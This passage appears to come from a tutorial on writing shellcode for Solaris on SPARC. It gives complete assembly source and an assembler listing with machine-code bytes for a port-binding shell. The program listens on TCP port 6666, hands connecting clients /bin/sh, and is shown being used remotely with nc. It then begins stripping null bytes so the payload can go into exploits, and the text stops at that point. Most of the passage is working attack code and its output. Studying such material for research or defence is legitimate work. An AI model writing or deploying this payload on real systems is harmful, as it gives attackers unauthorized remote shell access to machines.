  mov AF_INET, %l1       ! mov AF_INET(2) to %l1
  sth %l1, [%sp - 0x10]    ! store half 2 bytes to %sp - 16

  mov %l0, %o0          ! mov the sock to %o0
  sub %sp, 0x10, %o1      ! put the start of the sockaddr_in in %o1
  mov SOCKADDR_IN_SIZE, %o2 ! mov the sockaddr_in size to %o2
  mov SYS_BIND, %g1      ! mov SYS_BIND(232) into %g1
  ta KERNEL            ! call kernel

  mov %l0, %o0          ! mov the sock into %o0
  and %o4, %o4, %o1      ! backlog 1
  and %o4, %o4, %o2      ! extra SOV_DEFAULT
  mov SYS_LISTEN, %g1     ! mov SYS_LISTEN(233) into %g1
  ta KERNEL            ! call kernel

  ! we need 16 more for the client sockaddr_in plus 4 for its size

  mov SOCKADDR_IN_SIZE, %l1 ! store the sockaddr_in size at 16*2+4
  st %l1, [%sp - 0x24]    ! which is sockaddr_in*2 + sizeof address

  mov %l0, %o0          ! mov the sock into %o0
  sub %sp, 0x20, %o1      ! sub 32 from %sp to make room for the client sockaddr_in
  sub %sp, 0x24, %o2      ! sub 36 from sp [%sp - 0x24](&SOCKADDR_IN_SIZE) into %o2
  and %o4, %o4, %o3      ! put SOV_DEFAULT(1) in %o3
  mov SYS_ACCEPT, %g1     ! mov SYS_ACCEPT(234) into %g1
  ta KERNEL            ! call kernel

  xor %o0, %o0, %o0
  mov SYS_EXIT, %g1
  ta KERNEL

entropy@solaris {/export/home/entropy/asm} gas -als -gstabs portbind.s -o portbind.o
entropy@solaris {/export/home/entropy/asm} ld -lnsl -lsocket -lresolv portbind.o -o portbind
entropy@solaris {/export/home/entropy/asm} ./portbind &
[1] 1203
entropy@solaris {/export/home/entropy/asm} netstat -na | grep LIST

    *.6666          *.*           0    0 49152    0 LISTEN

Ok now the 3 closes, fcntl&#39;s and our shell execve from eariler.

entropy@solaris {/export/home/entropy/asm} cat portbind.s
.align 4
.section .rodata
.equ KERNEL, 0x08
.equ SYS_FCNTL, 62
.equ SYS_SETREUID, 202
.equ SYS_CLOSE, 6
.equ SYS_SOCKET, 230
.equ SYS_BIND, 232
.equ SYS_LISTEN, 233
.equ SYS_ACCEPT, 234
.equ SYS_DUP, 41
.equ SYS_EXECVE, 59
.equ SYS_EXIT,1
.equ SOCKADDR_IN_SIZE, 16
.equ PF_INET, 2
.equ AF_INET, 2
.equ SOCK_STREAM, 2
.equ IPPROTO_TCP, 6
.equ INADDR_ANY, 0
.equ PORT, 6666
.equ STDIN, 0
.equ STDOUT, 1
.equ STDERR, 2

.section .text
.global _start
_start:

  mov PF_INET, %o0       ! mov PF_INET(2) into %o0
  mov SOCK_STREAM, %o1    ! mov SOCK_STREAM(2) into %o1
  mov IPPROTO_TCP, %o2    ! mov IPPROTO_TCP(6) into %o2
  xor %o1, %o1, %o3      ! xor %o3 to 0
  sub %o0, 1, %o4        ! sub %o4 to 1 (%o0 is 2)
  mov SYS_SOCKET, %g1     ! move system call socket(230) into %g1
  ta KERNEL            ! call socket
  and %o0, %o0, %l0      ! save sock in %l0

                    ! 8 bytes we skip for char zero[8]
  mov INADDR_ANY, %l1     ! mov INADDR_ANY(0) to %l1
  st  %l1, [%sp - 0xc]    ! store 4 bytes of %l1 at %sp - 12
  sethi %hi(PORT), %l1    ! set the high bits of %l1
  or %l1, %lo(PORT), %l1   ! set the lo bits of %l1 to our port
  sth %l1, [%sp - 0xe]    ! store half 2 bytes at %sp - 14
  mov AF_INET, %l1       ! mov AF_INET(2) to %l1
  sth %l1, [%sp - 0x10]    ! store half 2 bytes to %sp - 16

  mov %l0, %o0          ! mov the sock to %o0
  sub %sp, 0x10, %o1      ! put the start of the sockaddr_in in %o1
  mov SOCKADDR_IN_SIZE, %o2 ! mov the sockaddr_in size to %o2
  mov SYS_BIND, %g1      ! mov SYS_BIND(232) into %g1
  ta KERNEL            ! call kernel

  mov %l0, %o0          ! mov the sock into %o0
  and %o4, %o4, %o1      ! backlog 1
  and %o4, %o4, %o2      ! extra SOV_DEFAULT
  mov SYS_LISTEN, %g1     ! mov SYS_LISTEN(233) into %g1
  ta KERNEL            ! call kernel

  ! we need 16 more for the client sockaddr_in plus 4 for its size

  mov SOCKADDR_IN_SIZE, %l1 ! store the sockaddr_in size at 16*2+4
  st %l1, [%sp - 0x24]    ! which is sockaddr_in*2 + sizeof address

  mov %l0, %o0          ! mov the sock into %o0
  sub %sp, 0x20, %o1      ! sub 32 from %sp to make room for the client sockaddr_in
  sub %sp, 0x24, %o2      ! sub 36 from sp [%sp - 0x24](&SOCKADDR_IN_SIZE) into %o2
  and %o4, %o4, %o3      ! put SOV_DEFAULT(1) in %o3
  mov SYS_ACCEPT, %g1     ! mov SYS_ACCEPT(234) into %g1
  ta KERNEL            ! call kernel
  mov %o0, %l2          ! save client sock into %l2

  xor %o1, %o1, %o0      ! set %o0 to 0
  mov SYS_CLOSE, %g1      ! mov SYS_CLOSE(6) to %g1
  ta KERNEL            ! call kernel

  mov %l2, %o0          ! move client sock into %o0
  xor %o1, %o1, %o1      ! xor %o1 to 0
  xor %o1, %o1, %o2      ! xor %o2 to 0
  mov SYS_FCNTL, %g1      ! mov SYS_FCNTL(62) into %g1
  ta KERNEL            ! call kernel

  and %o4, %o4, %o0      ! set %o0 to 1 (%o4 is still 1)
  mov SYS_CLOSE, %g1      ! mov SYS_CLOSE(6) to %g1
  ta KERNEL            ! call kernel

  mov %l2, %o0          ! move client sock into %o0
  xor %o1, %o1, %o1      ! xor %o1 to 0
  and %o4, %o4, %o2      ! and %o2 to 1
  mov SYS_FCNTL, %g1      ! mov SYS_FCNTL(62) into %g1
  ta KERNEL            ! call kernel

  and %o4, %o4, %o0      ! set %o0 to 1
  add %o0, %o0, %o0      ! add %o0 to %0
  mov SYS_CLOSE, %g1      ! mov SYS_CLOSE(6) to %g1
  ta KERNEL            ! call kernel

  mov %l2, %o0          ! move client sock into %o0
  xor %o1, %o1, %o1      ! xor %o1 to 0
  and %o4, %o4, %o2      ! and %o2 to 1
  add %o2, %o2, %o2      ! add %o2 to %o2
  mov SYS_FCNTL, %g1      ! mov SYS_FCNTL(62) into %g1
  ta KERNEL            ! call kernel

  ! &#39;/bin/sh\0&#39; = 2f62696e2f7368
  sethi %hi(0x2f626900), %l0 ! set the high bits of %l0 to the string
  or %l0, %lo(0x16e), %l0   ! set the low bits of %l0 to the string
  sethi %hi(0x2f736800), %l1 ! set the high bits of %l1 to the string (low bits null)
  std %l0, [%sp - 0x10]    ! store the string address into %sp - 0x10
  sub %sp, 0x10, %o0      ! sub 0x10 from %sp and store it in %o0 (first arg)
  st  %o0, [%sp - 0x8]     ! store the address of the string address into %sp - 0x8
  sub %sp, 0x8, %o1       ! sub 0x8 from %sp and store it in %o1 (second arg)
  xor %o2, %o2, %o2       ! set %o2 to null (third arg)
  mov SYS_EXECVE, %g1      ! move SYS_EXECVE(59) into %g1
  ta KERNEL            ! call kernel

  xor %o0, %o0, %o0
  mov SYS_EXIT, %g1
  ta KERNEL

entropy@solaris {/export/home/entropy/asm} gas -als -gstabs portbind.s -o portbind.o
SPARC GAS  portbind.s             page 1


  1              .align 4
  2              .section .rodata
  3              .equ KERNEL, 0x08
  4              .equ SYS_FCNTL, 62
  5              .equ SYS_SETREUID, 202
  6              .equ SYS_CLOSE, 6
  7              .equ SYS_SOCKET, 230
  8              .equ SYS_BIND, 232
  9              .equ SYS_LISTEN, 233
  10              .equ SYS_ACCEPT, 234
  11              .equ SYS_DUP, 41
  12              .equ SYS_EXECVE, 59
  13              .equ SYS_EXIT,1
  14              .equ SOCKADDR_IN_SIZE, 16
  15              .equ PF_INET, 2
  16              .equ AF_INET, 2
  17              .equ SOCK_STREAM, 2
  18              .equ IPPROTO_TCP, 6
  19              .equ INADDR_ANY, 0
  20              .equ PORT, 6666
  21              .equ STDIN, 0
  22              .equ STDOUT, 1
  23              .equ STDERR, 2
  24
  25              .section .text
  26              .global _start
  27              _start:
  28
  29 0000 90102002      mov PF_INET, %o0       ! mov PF_INET(2) into %o0
  30 0004 92102002      mov SOCK_STREAM, %o1    ! mov SOCK_STREAM(2) into %o1
  31 0008 94102006      mov IPPROTO_TCP, %o2    ! mov IPPROTO_TCP(6) into %o2
  32 000c 961A4009      xor %o1, %o1, %o3      ! xor %o3 to 0
  33 0010 98222001      sub %o0, 1, %o4        ! sub %o4 to 1 (%o0 is 2)
  34 0014 821020E6      mov SYS_SOCKET, %g1     ! move system call socket(230) into %g1
  35 0018 91D02008      ta KERNEL            ! call socket
  36 001c A00A0008      and %o0, %o0, %l0      ! save sock in %l0
  37
  38                                 ! 8 bytes we skip for char zero[8]
  39 0020 A2102000      mov INADDR_ANY, %l1     ! mov INADDR_ANY(0) to %l1
  40 0024 E223BFF4      st  %l1, [%sp - 0xc]    ! store 4 bytes of %l1 at %sp - 12
  41 0028 23000006      sethi %hi(PORT), %l1    ! set the high bits of %l1
  42 002c A214620A      or %l1, %lo(PORT), %l1   ! set the lo bits of %l1 to our port
  43 0030 E233BFF2      sth %l1, [%sp - 0xe]    ! store half 2 bytes at %sp - 14
  44 0034 A2102002      mov AF_INET, %l1       ! mov AF_INET(2) to %l1
  45 0038 E233BFF0      sth %l1, [%sp - 0x10]    ! store half 2 bytes to %sp - 16
  46
  47 003c 90100010      mov %l0, %o0          ! mov the sock to %o0
  48 0040 9223A010      sub %sp, 0x10, %o1      ! put the start of the sockaddr_in in %o1
  49 0044 94102010      mov SOCKADDR_IN_SIZE, %o2 ! mov the sockaddr_in size to %o2
  50 0048 821020E8      mov SYS_BIND, %g1      ! mov SYS_BIND(232) into %g1
  51 004c 91D02008      ta KERNEL            ! call kernel
  52
  53 0050 90100010      mov %l0, %o0          ! mov the sock into %o0
  54 0054 920B000C      and %o4, %o4, %o1      ! backlog 1
  55 0058 940B000C      and %o4, %o4, %o2      ! extra SOV_DEFAULT
  56 005c 821020E9      mov SYS_LISTEN, %g1     ! mov SYS_LISTEN(233) into %g1
  57 0060 91D02008      ta KERNEL            ! call kernel

SPARC GAS  portbind.s             page 2


  58
  59                ! we need 16 more for the client sockaddr_in plus 4 for its size
  60
  61 0064 A2102010      mov SOCKADDR_IN_SIZE, %l1 ! store the sockaddr_in size at 16*2+4
  62 0068 E223BFDC      st %l1, [%sp - 0x24]    ! which is sockaddr_in*2 + sizeof address
  63
  64 006c 90100010      mov %l0, %o0          ! mov the sock into %o0
  65 0070 9223A020      sub %sp, 0x20, %o1      ! sub 32 from %sp to make room for the client sockaddr_in
  66 0074 9423A024      sub %sp, 0x24, %o2      ! sub 36 from sp [%sp - 0x24](&SOCKADDR_IN_SIZE) into %o2
  67 0078 960B000C      and %o4, %o4, %o3      ! put SOV_DEFAULT(1) in %o3
  68 007c 821020EA      mov SYS_ACCEPT, %g1     ! mov SYS_ACCEPT(234) into %g1
  69 0080 91D02008      ta KERNEL            ! call kernel
  70 0084 A4100008      mov %o0, %l2          ! save client sock into %l2
  71
  72 0088 901A4009      xor %o1, %o1, %o0      ! set %o0 to 0
  73 008c 82102006      mov SYS_CLOSE, %g1      ! mov SYS_CLOSE(6) to %g1
  74 0090 91D02008      ta KERNEL            ! call kernel
  75
  76 0094 90100012      mov %l2, %o0          ! move client sock into %o0
  77 0098 921A4009      xor %o1, %o1, %o1      ! xor %o1 to 0
  78 009c 941A4009      xor %o1, %o1, %o2      ! xor %o2 to 0
  79 00a0 8210203E      mov SYS_FCNTL, %g1      ! mov SYS_FCNTL(62) into %g1
  80 00a4 91D02008      ta KERNEL            ! call kernel
  81
  82 00a8 900B000C      and %o4, %o4, %o0      ! set %o0 to 1 (%o4 is still 1)
  83 00ac 82102006      mov SYS_CLOSE, %g1      ! mov SYS_CLOSE(6) to %g1
  84 00b0 91D02008      ta KERNEL            ! call kernel
  85
  86 00b4 90100012      mov %l2, %o0          ! move client sock into %o0
  87 00b8 921A4009      xor %o1, %o1, %o1      ! xor %o1 to 0
  88 00bc 940B000C      and %o4, %o4, %o2      ! and %o2 to 1
  89 00c0 8210203E      mov SYS_FCNTL, %g1      ! mov SYS_FCNTL(62) into %g1
  90 00c4 91D02008      ta KERNEL            ! call kernel
  91
  92 00c8 900B000C      and %o4, %o4, %o0      ! set %o0 to 1
  93 00cc 90020008      add %o0, %o0, %o0      ! add %o0 to %0
  94 00d0 82102006      mov SYS_CLOSE, %g1      ! mov SYS_CLOSE(6) to %g1
  95 00d4 91D02008      ta KERNEL            ! call kernel
  96
  97 00d8 90100012      mov %l2, %o0          ! move client sock into %o0
  98 00dc 921A4009      xor %o1, %o1, %o1      ! xor %o1 to 0
  99 00e0 940B000C      and %o4, %o4, %o2      ! and %o2 to 1
100 00e4 9402800A      add %o2, %o2, %o2      ! add %o2 to %o2
101 00e8 8210203E      mov SYS_FCNTL, %g1      ! mov SYS_FCNTL(62) into %g1
102 00ec 91D02008      ta KERNEL            ! call kernel
103
104                ! &#39;/bin/sh\0&#39; = 2f62696e2f7368
105 00f0 210BD89A      sethi %hi(0x2f626900), %l0 ! set the high bits of %l0 to the string
106 00f4 A014216E      or %l0, %lo(0x16e), %l0   ! set the low bits of %l0 to the string
107 00f8 230BDCDA      sethi %hi(0x2f736800), %l1 ! set the high bits of %l1 to the string (low bits null)
108 00fc E03BBFF0      std %l0, [%sp - 0x10]    ! store the string address into %sp - 0x10
109 0100 9023A010      sub %sp, 0x10, %o0      ! sub 0x10 from %sp and store it in %o0 (first arg)
110 0104 D023BFF8      st  %o0, [%sp - 0x8]     ! store the address of the string address into %sp - 0x8
111 0108 9223A008      sub %sp, 0x8, %o1       ! sub 0x8 from %sp and store it in %o1 (second arg)
112 010c 941A800A      xor %o2, %o2, %o2       ! set %o2 to null (third arg)
113 0110 8210203B      mov SYS_EXECVE, %g1      ! move SYS_EXECVE(59) into %g1
114 0114 91D02008      ta KERNEL            ! call kernel

SPARC GAS  portbind.s             page 3


115
116 0118 901A0008      xor %o0, %o0, %o0
117 011c 82102001      mov SYS_EXIT, %g1
118 0120 91D02008      ta KERNEL

SPARC GAS  portbind.s             page 4


DEFINED SYMBOLS
       portbind.s:3    *ABS*:0000000000000008 KERNEL
       portbind.s:4    *ABS*:000000000000003e SYS_FCNTL
       portbind.s:5    *ABS*:00000000000000ca SYS_SETREUID
       portbind.s:6    *ABS*:0000000000000006 SYS_CLOSE
       portbind.s:7    *ABS*:00000000000000e6 SYS_SOCKET
       portbind.s:8    *ABS*:00000000000000e8 SYS_BIND
       portbind.s:9    *ABS*:00000000000000e9 SYS_LISTEN
       portbind.s:10    *ABS*:00000000000000ea SYS_ACCEPT
       portbind.s:11    *ABS*:0000000000000029 SYS_DUP
       portbind.s:12    *ABS*:000000000000003b SYS_EXECVE
       portbind.s:13    *ABS*:0000000000000001 SYS_EXIT
       portbind.s:14    *ABS*:0000000000000010 SOCKADDR_IN_SIZE
       portbind.s:15    *ABS*:0000000000000002 PF_INET
       portbind.s:16    *ABS*:0000000000000002 AF_INET
       portbind.s:17    *ABS*:0000000000000002 SOCK_STREAM
       portbind.s:18    *ABS*:0000000000000006 IPPROTO_TCP
       portbind.s:19    *ABS*:0000000000000000 INADDR_ANY
       portbind.s:20    *ABS*:0000000000001a0a PORT
       portbind.s:21    *ABS*:0000000000000000 STDIN
       portbind.s:22    *ABS*:0000000000000001 STDOUT
       portbind.s:23    *ABS*:0000000000000002 STDERR
       portbind.s:27    .text:0000000000000000 _start

NO UNDEFINED SYMBOLS
entropy@solaris {/export/home/entropy/asm} ld -lnsl -lsocket -lresolv portbind.o -o portbind
entropy@solaris {/export/home/entropy/asm} ./portbind

And from another host...

entropy@phalaris {~} perl -e &#39;$|++;while (<>){print . "\n\x00";}&#39;|nc solaris 6666
id
uid=500(entropy) gid=100(entropy)
pwd
/export/home/entropy/asm
uname -a
SunOS solaris 5.10 Generic_118822-18 sun4u sparc SUNW,Ultra-5_10
exit

Nice. Now removal of nulls, there are many ways to do this I got:

entropy@solaris {/export/home/entropy/asm} cat portbind2.s
.align 4
.section .rodata
.equ KERNEL, 0x0